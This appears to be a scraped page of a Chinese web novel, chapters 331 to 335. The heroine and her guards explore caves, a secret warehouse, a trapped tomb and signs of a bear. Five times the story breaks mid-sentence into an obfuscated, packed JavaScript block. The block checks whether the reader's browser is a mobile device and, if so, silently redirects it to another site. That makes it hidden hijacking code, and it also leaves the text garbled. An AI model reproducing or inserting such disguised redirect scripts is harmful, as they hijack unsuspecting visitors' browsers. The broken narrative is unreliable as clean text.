大雨倾盆,好在有油布遮挡,一行人虽然走得很慢,但也不影响进程。 瞧见一个山洞的时候,众人收起油布,进去躲雨。 “山中天气多变,也不知道什么时候才能停?”迎春略显担忧的看着外头。 这雨下得,可真大呀! “这洞好像挺深的?”冬梅有些感慨。 她素来是个闲不住的,趁着众人都在洞口等着雨停,兀自朝着里面走了走,正所谓艺高人胆大,她什么都不怕! 陈识月猛地转身,“你小心点。” 冬梅取出了火折子,借着羸弱的火光朝着里面走去,越走越阴凉,越走越深,“姑娘,这洞好像没有止境似的,会不会是入口啊?” 陈识月心惊,与迎春对视一眼,赶紧朝着里面走去。 别说! 你还真别说。 运气这东西,有时候真的说不准。 火把燃起,两个护卫走在前面,两个殿后,冬梅和迎春则护着陈识月缓步前行,确保陈识月的安全。 这洞内阴冷无比,夹杂着山中特有的水汽沁凉,让人止不住毛骨悚然,走一段路还得添上外衣,否则真的冻人。 “倒是个避暑的好地方。”迎春有些感慨。 陈识月环顾四周,伸手摸了摸岩壁,有些湿润润的,还有些青苔蔓长,“看着像是天然的溶洞,不像是人工开凿的,洞口也不大,大概进来的人不多。” “要不是避雨,咱也找不到这洞口,外头都是青蔓,可见是他们大意了。”冬梅开口。 陈识月应了声,目光不断的在周围逡巡,他们行走的这山洞,十分狭窄,只能容一人前行,且这人得如他们这般身形消瘦,但凡有个胖一些的,怕是都挤不过去,好在火把依旧明明灭灭,说明这山洞内是有流动风的。 这就意味着,有空气,有出口。 缺氧的洞穴,会让人死得悄无声息。 突然,前面的护卫停下脚步,示意后面的人别动。 转角处有动静,陈识月不敢吱声,护卫将火把递给了冬梅,其后两人结伴,缓步朝着前面走去,动作极为小心谨慎。 空气好似凝滞,陈识月一颗心砰砰乱跳,这是发现了什么? 时间一分一秒的过去,冬梅有些耐不住了,“我去看看?” 这都去了很久了,怎么还没动静? “不要……”陈识月这话还没说,前面的人就回来了。 两护卫跑得有些谨慎,“这还真是条道,前面就宽敞了,还有人在里面活动,就是不知道给咱们干哪儿来了?” 不知道这是总坛呢?还是临时的通道? 又或者是别的什么地方? 反正,前面有人! “如此说来,我们是误打误撞的,真的进了山洞?”陈识月有些惊喜,“难怪在外面弄了那么大的阵仗,敢情是怕我们发现这附近的山洞。” 冬梅嗤笑,“结果……败给了姑娘,没拦住咱!” “别得意,容易忘形。”陈识月指了指前面,“把火熄灭了,我们过去看看。” “是!” “是!” 人需要适应黑暗,所以一开始走得有些磕磕绊绊,好在很快就适应了。 护卫停下,压低了声音,“就在前面。” 陈识月放缓呼吸,压着脚步声,缓步跟在他们身后,冬梅和迎春已经做好了随时动手的准备,不知道前面还有什么危险在等着他们? 是有人说话的声音? 还有,挪动东西的声音? 等会,水声? 暗河吗? 护卫已经不动了,可见是到了地方,没办法再往前走了。 陈识月小心翼翼的往前挪动,冬梅则小心护着她,迎春紧随其后。 终于,她看清楚了眼前的一切。 暗河边上,有船只也有不少人,似乎是在搬运什么东西,一箱箱的从船上搬下来,其后又顺水而下,划船离开,因为暗河波涛汹涌,所以要在这里行船,须得有极为精湛的行船技术,不是老船夫,做不到这么安稳。 陈识月皱起眉头。 “他们在搬什么?”冬梅不解。 迎春摇摇头,“隔太远了,看不清楚。” “要不然,我去弄一箱看看?”冬梅问。 迎春瞧了一眼,算计了一下,“大概有三四十个人,动起手来肯定会打草惊蛇,不能动手。” 肉眼可见的三四十人,谁知道还有多少人藏在暗处? 陈识月也赞同迎春,“不能动手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968754|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先静观其变。” 似乎只是凑巧,这一批船只走后,暗河安静下来,所有人则快速撤离,似乎只是为了到这里卸载货物,如今正蚂蚁搬家似的,将这些货物挪走。 “这是要搬去哪儿?”冬梅抿唇。 陈识月心里有个猜测,“跟上,别打草惊蛇。咱就这几个人,万一真动起手来,在别人的地盘上,很容易吃暗亏。” 不怕光明正大,只怕明枪暗箭。 防不胜防! “好!”迎春颔首,“大家小心脚下。” 这话刚说完,陈识月脚下的小石子忽然“咕噜噜”的滚下去,顷刻间飞落进了底下的暗河中,发出了“扑通”的声响。 那一刻,陈识月觉得全身血液都凝固了,瞬时通体冰凉。 完了! “姑娘,抱紧。”迎春快速挟住她的腰肢。 陈识月忙回神,赶紧抱住了迎春。 耳畔,有风。 “什么人?” “怎么回事?” “上面岩壁有人!” “搜!” 这地方,不可是谁都能进来的。 脚步声响起,凌乱而慌张,如果被人闯入,发现了他们的秘密,那谁也落不了好下场,怎么可能不着急呢? 然而他们搜了一圈,都没有发现任何的异常。 四下都是黑漆漆的,怪石嶙峋,或凸起,或凹陷,或如怪状,千姿百态…… “没有啊!” “没发现!” “可能是岩石自己崩落的。” “没有最好,一个个别大惊小怪的。” “赶紧干活!” 陈识月的一颗心都提到了嗓子眼,死死抱紧了迎春,被迎春挟着,紧贴着上方的岩壁不敢动弹,那么高那么高,她是看一眼都觉得魂儿飞了! 由此可见,她就不是习武的料,要不然跟迎春这般一身好轻功,一蹦三尺高,早早把自己吓**! 等人都散了,护卫想蝙蝠一般,从紧贴岩壁的状态调整为飞落在地,稳稳的站定,做好了迎接陈识月的准备。 冬梅没动,直到迎春护着陈识月落地,她才安心跟着落下。 陈识月的腿在颤抖,站定时险些跪地,幸被迎春搀住。 “姑娘?” 陈识月尴尬一笑,“有、有点高。” 第三百三十二章 有粮食的地方,就有老鼠 “悬崖都不怕,这是倒是怕了?”迎春打着趣。 陈识月想了想,“那时候无依无靠,没来得及害怕,现如今有了你们,便有些矫情了。” 闻言,冬梅笑了,“那就说明,姑娘信任我们。” 人,只有在信任和至亲至爱面前,才会展露自己的弱点。 “好了,我们走!”迎春探了探头。 外头的人,已经搬运着东西离开。 “莫名的觉得有些眼熟。”陈识月低语。 迎春看向她,“姑娘这话是什么意思?” “就是这场景吧……有点似曾相识的感觉。”陈识月挑了挑眉。 冬梅不解,“在哪见到过?” “销金窝。”陈识月如实回答。 沉默。 冬梅和迎春对视一眼,“长乐门!” 可就不是长乐门嘛! 都是一样的行事风格,一样的藏头露尾,一样的不见天日。 “这群躲在黑暗里的鼹鼠,藏在地底下的蛆虫,早晚是要有报应的!”陈识月缓步朝前走,眼下还是跟着他们为上。 一行人跟在了那些人的身后,一刻也不敢停歇,知晓这些人万分谨慎小心,更是不敢大意。 四下黑漆漆的,洞窟里有回声,所有都不敢跟得太近,只交由护卫一个接一个的跟着,隔着一段距离,以免一群人活动的时候动静太大。 冬梅和迎春,始终跟在陈识月的身侧,不管前面如何,她们只负责保护陈识月。 “走!”陈识月跟上去。 终于,前面似乎停下来了。 一行人探出头去,却惊觉自己是在人家的脚底下。 这洞窟委实诡异,绕一圈,绕到了人家的脚底下来了?上方的盖板已经盖上,冬梅凑上去听了听,确定脚步声已经远去,这才松了口气。 盖板悄悄掀开一条缝,正前方是一片空地,换言之,这是一个仓库,那些人把船上卸下来的东西,都挪到了此处,然后从正门离开了。 这洞窟似乎是囤积物什的地方,像是库房? “没人了。”冬梅低语。 一行人一个接一个的钻出来,护卫赶紧去守着门,听着外头的动静。 冬梅和迎春搀着陈识月从洞里爬出来,各自神情紧张。 石头屋内有壁灯,虽然不是太过明亮,但足以照明,能看清楚周遭的状况,这地方很宽敞,但到处都叠放着木箱子,很是整齐,且有种被人分门别类的感觉,不知道这些木箱里到底藏着什么? “打开看看。”陈识月上前。 来都来了,不看看怎么甘心? “是兵器!”冬梅打开了一个箱子。 迎春皱眉,“是粮食。” “这边是矿石。”陈识月愣住。 三人面面相觑,小心翼翼的将打开的箱子合上,尽量不露出破绽。 其后,又打开了几个箱子。 偌大的库房里,全都是这三样东西。 “矿石炼铁,其后打造兵器,只是这粮食……自己吃吗?”迎春有些闹不明白,但总觉得事情应该没那么简单。 不至于,贩卖粮食吧? 这…… 这些矿石,让陈识月想起了鬼村,还有销金窝里的动静,既然销金窝在金都城外,而这里则在金都城外的山中,会不会两处早已串联? 这本就是一个地方,借着大山为遮掩,在数年或者是十数年的时间内,依靠销金窝的财力,长乐门的人力,扩展至如今的规模。 陈识月越想越觉得脊背发凉,人怎么可以贪心到这样的地步? 踩着累累白骨,为所欲为! “有人来了!”护卫赶紧回来。 众人旋即躲了起来。 高高叠放的木箱子,几乎成了最好的遮蔽堡垒,将人快速藏起来,又加上库房昏暗,壁灯的光亮太过羸弱,即便藏在这里,也不会被人察觉。 迎春护着陈识月,躲在狭窄的缝隙里,冬梅则躲在对面,随时做好出手的准备。 四个护卫则分为四角,一人收在盖板附近,其余三人则在陈识月的边上,他们来找林序不假,但若是丢了陈识月,那就是偷鸡不成蚀把米,赔了夫人又折兵。 在没找到林序之前,保住陈识月才是重中之重。 “这些,这些,全部都搬走,送上马车。” “是!” 有人在说话,趾高气扬,显然是头目之类的。 “老大,混进来那小子怎么处置?要不然杀了罢了?” 听得这话,陈识月猛地抬头,下意识的跟迎春对视一眼。 所有人都屏住呼吸,静静的听着外头的动静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968755|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “上面都没发话,你急什么?明知道上面生性多疑,这要是让人知道,还以为你心虚呢!”男人轻嗤两声,“省省心吧,别到时候这帽子砸下来,你接都接不住,**都不知道。” “是是是,老大你说得对,我就是瞧着那小子一脸欠揍的模样,有点手痒。” 一脸欠揍的模样? 会不会是林序? 毕竟见过他的,十个有九个都是这样形容他的。 “呵,到了这地方,落在咱手里了,由不得他嚣张,你且等着吧,迟早要收拾他,但现在不着急,咱们就等着上面发话吧!”男人说这话的时候,似乎也有几分咬牙切齿,“怕就怕他后面还有人,若不能一网打尽,早晚也是祸患。” “是是是,老大您说得对。” 男人一巴掌拍他脑门上,“除了这句话,还会不会说点别的?废物,滚滚滚,干活去,别想偷懒。” “是是是!” 一行人忙忙碌碌的,将不少木箱子抬出去,然后便没了动静。 冬梅探出身来,看了一眼迎春,“走了!” 如此,迎春才敢带着陈识月走出来。 “他们说的那个人,不会是林序吧?”陈识月有些担心。 冬梅不发表意见。 迎春皱了皱眉,“我觉得不太可能,林公子的功夫不弱,要想抓住他可没那么容易,并且他说上面还没发话,是林公子闹出来的动静太小?还是不清楚林公子的身份?” “林序动手,必定天翻地覆,这动静就小不了。”冬梅跟林序过过几招,“他那一身功夫很是灵活,纵然是我,也不可能轻易抓住他。除非,有所挟制,被人拿住了把柄。” 陈识月想了想,“跟上去看看。” 看看,这到底是什么地方? 看看,到底藏着多少秘密? 库房门口有人看着,想要出去还真是不容易。 “看我的!”迎春示意众人躲起来,其后轻叩了一下石壁。 “什么动静?” “老鼠吗?” “进去看看!” 两个守卫旋即踏入门来,若有所思的巡视周围,“之前那几只老鼠不是用老鼠夹给捉了吗?怎么还有老鼠?” “你这不是废话?有粮食的地方就有老鼠,捉不完!” 第三百三十三章 他们好像困在这里了 待二人巡到了内里,护卫打开了门,护着众人快速离开。 真是两蠢货! 外头是一条通道,冬梅率先走在了前面,迎春则小心翼翼的守着陈识月,一行人就跟刘姥姥进了大观园一样,左顾右盼,各种小心谨慎,也不知道这条道是要通往何处。 推开一道石门,又是一间石室? “这地方怎么阴森森的?”迎春环顾四周,“这柱子还雕龙画凤?” 冬梅皱眉,“跟个墓似的?这不会是谁家的祖坟吧?” 迎春:“……” 真晦气,跑人家祖宗家里去了? “这地方瞧着,好像真的有点像古墓。”陈识月上前,“若只是为了生活在这里,做点见不得人的腌臜事情,不必如此费劲,这雕龙画凤的,是吃饱了撑的吗?” 的确,谁有事没事,把石柱挪过来雕刻点东西? 这黑灯瞎火的,只要实用就够了,又不是长住,又不是这辈子都不出去了,弄这些幺蛾子作甚?所以这里应该是有主的,但是后来被鸠占鹊巢。 “不会真的是人家的坟吧?”冬梅呐呐的开口,“那得多缺德?” 这谁知道呢? 多根立地柱撑着,四下一片漆黑,正中央好似放着什么东西? 一行人你看看我,我看看你,终是慢慢悠悠的走了过去。 “那是什么?”冬梅不解。 下一刻…… “别过去了!”迎春止步,“是棺材。” 不,应该称之为棺椁。 老百姓用棺材,这么大的墓葬肯定是用的棺椁。 外棺内椁。 “天杀的,真的是人家老祖宗家呀?”冬梅揉着眉心,“真是一群缺德玩意!” 这话刚说完,迎春便拽住了陈识月,“姑娘,别过去了,是棺椁。” 棺椁里,说不定还有腐尸,又或者是烂成了骨头渣滓? “没有腐臭味。”陈识月开口。 迎春:“什么?” 冬梅也一怔。 “不是腐尸,也没有骨头渣子。”陈识月低声开口。 空气里没有这股子味。 闻言,迎春摁住了陈识月,“姑娘别动,我先去看看。” 万一有诈,她有功夫傍身,能及时避开。 “冬梅,看好姑娘!”迎春开口。 冬梅颔首,四个护卫也退后两步,纷纷与那具棺椁保持距离,确保在危险来临的时候,能第一时间护住陈识月离开。 迎春近前,绕着棺椁走了一圈。 羸弱的火折子光亮,只能看清楚这棺椁的大致轮廓,是一具石棺,并非寻常所见的木质所成,周围也没什么纹路,瞧着好像是平平无奇的一块石头,只不过是被雕琢成了棺材的模样。 迎春猫着腰,在周围绕了一圈,伸手摸了摸,也没发现什么异常。 “姑娘?”迎春转回,“这石棺没什么奇怪之处。” 没有奇怪之处,想必也没什么机关吧? “我看看!”陈识月上前。 一个护卫守住了石门,其他人则跟着陈识月靠近石棺,纷纷拿出了火折子,凑一起倒是更亮堂一些,看得也就更清楚了些。 “这里面会是什么人物?”冬梅嗫嚅着,“是男是女?” 迎春看向她,“生娃呢?还是男是女?” “这棺椁是一块巨石打造,瞧着周遭的石柱都雕龙画凤的,为何石棺却是光滑如新,连半点雕琢都没有?”陈识月狐疑的开口,“看着与周遭的装饰不太相符。” 若是细看,能发现墙壁上都雕了壁画,既然都是要用到工匠的,那自然连棺椁也不例外,怎么可能放任棺椁平平无奇? 陈识月凑上去嗅了嗅,“没闻到腐臭味,可这棺椁却也不是盖得那么严实啊!倒是有点风……” “风?”迎春伸出手。 还真别说。 的确有风。 “这里面是空的?”迎春得出一个结论。 冬梅旋即一摆手,“你们都闪开,我把棺盖推开看看。迎春,你带着姑娘退后几步,大家都睁大眼睛小心留意。我倒要看看,里面有什么东西?” “好!”迎春护着陈识月退后。 这棺盖很沉,至少看着就很沉,那么大一块石头,但耐不住冬梅力气大! 只听得轰隆隆的一阵响,棺盖被逐渐推开,内里一阵风忽然就涌了出来,其后便是羸弱的光亮起,好像底下应该是个洞口? 所有人都瞪大眼睛,不敢置信的看着眼前的一幕。 还以为会看见腐尸或者是森森白骨,没想到竟是另有一番天地? 棺盖被推开了大半,冬梅原本想放下,却被陈识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971726|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月阻止,“别,先这样吧!” 众人围拢上来,纷纷探头往棺内看。 里面是一个入口,羸弱的火折子光亮落下,合着里面偷出来的光亮,能清晰的看见往下延伸的台阶,也不知道这里面是要通往何处? 众人面面相觑,一时间也不知道这是要去哪的? “有人来了!” 守门的护卫压着嗓音喊了声,示意众人快些找地方躲起来。 在外面,怪石嶙峋,还能攀一下凹凸不平的岩壁,可这里完全没有躲藏的地方,总不能攀石柱吧? “下去!”陈识月果断抉择。 一行人快速走下了台阶,冬梅在内里将棺盖重新合上。 刚合上,外头的人就推开门进来了。 “方才好像听到有动静?” “我就说你是疑神疑鬼吧!这哪儿有人?” 火光摇曳,火把亮堂。 “哪有人?” “算了,没人没人,我们赶紧走吧!这地方阴森森的。” “怕什么?早前那副棺椁早就不知道丢哪儿了,有什么可怕的?” “哎呀,到底是人家的葬身之所。” “就你矫情!” 两个人骂骂咧咧的离开。 石门合上,再无动静。 石棺内,众人拾阶而下。 护卫持刀走在前面,小心翼翼的开路。 台阶一路向下,也不知道到底要去往何处? 及至最后一层台阶,护卫小心翼翼的止步,留意了一下身后,这才整理心情,缓步朝前走去,狭窄的甬道,到处都是阴森森的,时不时还能踩到一脚的水坑。 墙壁上偶有青苔,从石缝里钻出来,越往前走越是沉默,就好像这条道怎么都走不完,前面黑洞洞的,后面阴森森的,无穷无尽。 “我们会不会是迷路了?”陈识月低声开口,“为什么这条道那么长?我们怎么走都走不完?” 迎春看了看前面,又看了看后面,“这还真不好说,如果我们一直在兜圈,那么这条路就永远走不完,会一直在这里。” “我做个记号!”冬梅用剑柄在墙上敲了个记号,“沿途做记号,看看我们是一直往前,还是兜圈子?” 事实证明,他们在兜圈。 “这是我做的记号。”冬梅骇然心惊。 第三百三十四章 有种去阎王殿的感觉? 一行人,面色全变了,大家你看看我,我看看你,很清楚这是在兜圈子,甚至于不知道究竟兜了多少圈,场面很尴尬,处境很危险。 “姑娘别慌,肯定还有出路的,要不然这出入口不至于弄得这么隐蔽,所以这地方,肯定藏着点什么,又或者是曾经藏过什么,才会弄得这么弯弯绕绕的。”迎春环顾四周,“也许我们经过的某一个路口,恰好有一个秘门什么的?” 陈识月也觉得这话有道理,“那我们放慢脚步,慢慢的重新走一遍,就以这里为起始点。” “好!”冬梅点头,“我就不信我们这么多人,还走不出这么个地方。” 四个护卫是一组,陈识月和冬梅、迎春一组,一组负责一面墙。 “出发!” 陈识月下令。 什么叫摸着墙壁走路? 现在便是。 每个人都负责几块砖,往前走的时候分外小心,不敢错过一丝一毫的异常。 也不知道走了多久,有护卫忽然喊了声,“等会!” 这里! 这块砖,好像是松软的? “这里好像可以摁下去。”护卫低语。 众人止步,紧接着便是面面相觑。 迎春第一时间护着陈识月往后退,冬梅和两名护卫亦相随,只留下两名护卫在前面看着,随时等着摁下去。 确定他们都退到了安全之处,两护卫对视一眼,如释重负的松了口气,然后快速摁下了那块砖。 只听得轰隆一声响,伴随着一道石门缓缓打开。 众人目不转睛的盯着,愣是不敢吱声。 下一刻…… “小心!” “嗖嗖嗖”的箭雨袭来,若不是迎春动作快,猛地拽住两护卫往后退,只怕站在门口的二人都要被射成筛子。 差一点! 真的只是差一点! 好险! 瞧着落在地上的,散乱的箭,所有人都是倒吸一口冷气,一时间不知道要说点什么,每个人都脸色都难看到了极点。 想了想,陈识月捡起了地上的箭,悄默默的递给了冬梅,然后努努嘴。 冬梅秒懂。 一伸手,箭登时丢进了门内。 下一刻,内里又是噼里啪啦一阵。 众人:“……” 好险。 见此情形,迎春和两护卫捡起了地上的箭,纷纷递给冬梅。 冬梅力气大,能丢得更远一些。 又一箭丢进去,内里瞬间又响起了一阵异动,好像还伴随着暗器或者是箭矢碰撞岩壁的声音,很明显这里面还是有机关的。 见此情形,待声音消失之后,冬梅又连续丢了几支箭进去。 及至最后一支箭丢进去,里面再也没了动静,众人如同泥塑木雕一般,安安静静的站在原地,翘首盯着敞开的石门。 石门是开了,可愣是没一人敢进去。 谁知道这里面还会有什么? 安静了片刻,陈识月小心翼翼的沿着岩壁往前挪动,迎春的一颗心都提到了嗓子眼,想喊又不敢喊,怕惊着陈识月。 姑娘的胆子太大了,哦不,应该说姑娘的好奇心委实太重了点。 “好像没事了!”陈识月低低的开口。 迎春也跟了上去,探头往内看。 一道门,七个脑袋分两排,纷纷探头往里面瞧,只看到满地的暗器凌乱,还有地上塌陷过后的痕迹,墙壁上也有不少的孔洞,应该都是方才暗器弹射出来的地方。 这地方,还真是机关密布啊! 护卫示意他们不要轻举妄动,两个先上前探探路,其他人远远的跟着便是。 青石板,干燥而干净。 不似那边阴森寒凉,水汽充盈。 只有干燥,才能保证这些暗器在如此环境里,还能锋利如初,不至于生锈成钝器,失去原本的价值。 虽然地面有些塌陷,但边缘还是留了通道,这大概也是防着盗墓者要挟后人来盗墓,给后人留下的一条生路吧! 凡事,不可做得太绝。 可见这墓主人,是个对后生晚辈极为仁慈之人。 沿着边上的小路走过去,一行人还来不及松一口气,便钻进了一个山洞内。 洞内昏暗,内里到处都是分岔口,四通八达的,时不时还会有怪异的声响传来,不知来源于何处,只听得人毛骨悚然,尤其是这样昏暗的世界里,总觉得有什么东西一直跟着他们似的? 陈识月嗅着空气里的气味,眉心微微拧起,偶尔会有腥臭味,偶尔会有屎臭味,偶尔还会有点不知名的香气,偶尔还会有青草香。 她走得很小心,只管留意前方, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971727|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这洞窟那么大,到底怎么才能走一圈? 汗血宝马在哪呢? 那个该死的凶手在哪? 还有便是,林序呢? 他们之前说的,好像是抓到人了,可这一路走来,到处都是甬道,到处都是山洞,一道还有一道,一洞又是一洞,就像是没个几年,走不出这破地方了! “好像有水声。”在一个分岔路口,冬梅竖起耳朵。 陈识月也闻到了空气里的水汽潮湿,“在左边!” “走!” 左边。 一行人快速朝着左边走去,有水有风的地方,往往有出口,而且人要在这里生活,水是必须要有的,否则吃喝拉撒怎么解决? 左边这边水汽充盈,大家缓步朝前走,一路上不断有冷风袭来,湿哒哒的,让人有些不适,到了最后,身上都有些湿哒哒的。 护卫取出了油布,快速遮挡在前方,既可以防水又能保温。 须知,在这样的地方失温,是一件非常危险的事情。 如此一来,倒是舒服了不少,潮湿之感消失了些许,继续朝前走了一段路之后,护卫停了下来,“姑娘,前面有桥。” 桥? 这地方还有桥? 陈识月探出头来,瞧着前面那铁索桥,“有种去阎王殿的感觉。” 迎春:“……” 冬梅:“……” 但事实就摆在眼前。 因为暗河奔腾,水汽太大,也可能是洞窟内外温差太大,导致暗河上雾气腾腾,将这一条铁索桥笼得如梦似幻,若是霞光万丈,倒是宛若仙境。 但此刻四下昏暗,只有暗河奔腾,一条铁索桥孤零零的挂在上面,真的就跟奈何桥似的,让人瞧着不寒而栗。 “这桥……”迎春皱眉,“姑娘不要轻举妄动,咱不知道这桥是否稳固?也不知道桥对面还有什么人,咱这贸贸然的……不能轻易冒险。” 这是别人的地盘,他们不能轻举妄动。 陈识月当然分得清轻重,这条铁索桥甚至可能是个陷阱,所以得看看还有没有别的什么出路?蓦地,她神情一怔,伸手一指,“那边是不是可以过去啊?” 迎春探头。 冬梅探头。 护卫探头。 哎呦,还真是,但被迷雾水汽遮掩得若隐若现。 第三百三十五章 满地都是血 这条铁索桥孤零零的挂在这里,就像是一个诱饵,所以不能从这边过,并且他们怀疑对岸可能是有人的,所以陈识月与迎春决定,绕个道避开外露。 “从这边走。”冬梅在前面带路。 一直走出去一段路,有个小洞口,依稀可见对岸的状况。 “好像真的有人?”迎春低唤。 陈识月眯起危险的眸子,瞧见对岸的迷雾之中,真的有黑影一晃而过,可见这铁索桥真的只是个诱捕工具?! “是陷阱无疑了!”陈识月低语。 如此,众人更不敢耽搁了。 绕了一圈,站在了石柱边上,这条石柱横亘在暗河之上,只是有些摇摇晃晃的,不知道能不能经得住这么多人的重量? “这不难,咱从边上过。”迎春开口,“走石柱这边容易被人发现,咱就从背面过去,有石柱为遮挡,咱还能更安全一些。姑娘,您在这里站着,若是发现不对劲就立刻往回走。冬梅!” 冬梅颔首,“放心,我看着呢!” 迎春接过护卫递来的一捆绳索,“应该够长了。” 她轻功最好,虽然这里地势不太友好,但只要半道上有个能垫脚发力的周转,就不是问题。 “迎春,小心点!”陈识月叮嘱。 迎春将绳索系在腰上,其后让两个护卫拽住另一端,“等我。” 音落,迎春纵身而起,身形如燕掠过汹涌的暗河河面,及至中途脚尖一点,踩着石柱便重新飞起,稳稳的落在了河对面。 陈识月的一颗心落了地,没事! 将绳子另一端拴好之后,迎春轻飘飘的飞回来,如履平地之态,便是冬梅都有些羡慕,“迎春,你的轻功真好,以后有机会定要教一教我。” “好!”迎春点点头。 有一根绳索在,他们都是习武之人,自然很容易过河,至于陈识月嘛……迎春快速搂住她的腰肢,快速飞了过去。 水汽簌簌扑在脸上,及至岸边,陈识月一抹脸上的水,长长吐出一口气。 “姑娘,擦把脸!”冬梅递上帕子。 陈识月伸手接过,擦了擦湿哒哒的面颊。 “这边有路。”护卫忙道。 收起了绳索,众人快速朝前走。 “不知道林序他们如何?”陈识月沉着脸。 倒是一旁的冬梅还在念叨着,“怎么还是没瞧见熊呢?” 迎春揉着眉心,“你饿了?” 冬梅:“……” “别想了,这地方要是遇见熊,你有劲儿都没地方使。”陈识月环顾四周,“这地方太狭窄了,只够一人通行,也不知道要去往何处?” 前路迷茫,不知去。 后路迷茫,暗河长。 林序,你在哪呢? 是不是也陷在这地方? 还真是! 不过,林序的运气更差一些,他们是真的遇见了点东西。 事发突然,将所有人都冲散了。 当时场面乱成一团,不管怎样,活着才是王道…… 空气里,忽然出现了血腥味。 是若隐若现的血腥味? “等会!”陈识月忽然喊了一声。 众人止步。 “有血腥味。”陈识月环顾四周。 到处都是黑漆漆的,为了安全起见,他们连火把都没点,都是摸黑行路,虽然走得不快,但还算周全,只不过这血腥味…… “前面。”陈识月指了指。 迎春皱起眉头,冬梅带着两个护卫上前,羸弱的火光在黑暗中闪烁,这洞窟路不平,脚下不好走,时不时小石子咕噜噜的滚动。 真别说,好像还真是有点不对劲。 迎春止步,“好像还真的有血腥味。” “这里!”护卫低呼。 迎春上前一看,果真瞧见了一片暗色。 哦不,不只是一片暗色,是好几处。 “姑娘,这里!”迎春低唤。 陈识月快速上前,果然是这里,血腥味愈发的浓郁清晰,借着火折子的光亮,能清楚的看见一片片暗色,落在石壁上,落在角落里,撒满了周遭。 “还有**?”冬梅皱眉。 血迹中,还有一撮黑**。 “这是**吧?”冬梅小心翼翼的用石块拨弄了一下。 陈识月上前,小心翼翼的捡起来那一撮**,凑到鼻尖嗅了嗅,“是真的。” “什么真的?”迎春上前。 陈识月抬眸望着二人,“熊。” 众人:“……” “真的有熊?”冬梅不敢置信,“就这地方?我方才是开玩笑的,姑娘你也在开玩笑吧?” 陈识月摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979141|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头,“外面是真的没嗅到熊的味道,但是这一撮**,确实带着动物的臭味,看**色应该是成年的熊,不知道是不是有人故意养在这里的?” 毕竟,熊不可能进那么深的洞窟作洞穴,它们一身的皮**,也不适合窝在这阴暗潮湿的地方,对它们来说是很容易生病的。 阳光干燥温暖的地方,才适合熊的成长。 除非,有人养在这里。 陈识月这一番话,说得众人都沉默了。 如果这地方真的有熊,那这熊会不会突然扑出来? “它们在这里伤人了?或者是吃……**?”迎春犹豫了半晌。 陈识月没说话,站在原地环顾四周,不知道能不能沿着血腥味去找找看?只是,他们去找的话,会不会也遇见这头熊? 熊有多大? 数量有多少? 对于这些,他们一无所知。 贸贸然前行,就是把自己置身于危险之中,但若是这些血……被袭击的是林序他们呢? 陈识月在犹豫。 “姑娘,还往前走吗?”迎春看得出来,陈识月的担忧,“我们都不怕死,这是长乐门的地盘,若是真的遇见了,咱杀一个是一个,杀一双就不亏!” 冬梅笑道,“姑娘别担心,咱也不是软柿子,若是真的有熊,也不是毫无招架之力,回头我剁了熊掌给你加餐!” 陈识月是真的被她这话逗笑了,“那我们走吧!” 这里除了血,没留下别的东西,他们要找线索也无从下手,那就只有从别处下手。 护卫持着火折子,左右查验,瞧着这些血迹四散,朝着四个方向奔去,可见当时场面一定很凶险,大家都不得章法的逃跑,几乎是四散开来……只为活命。 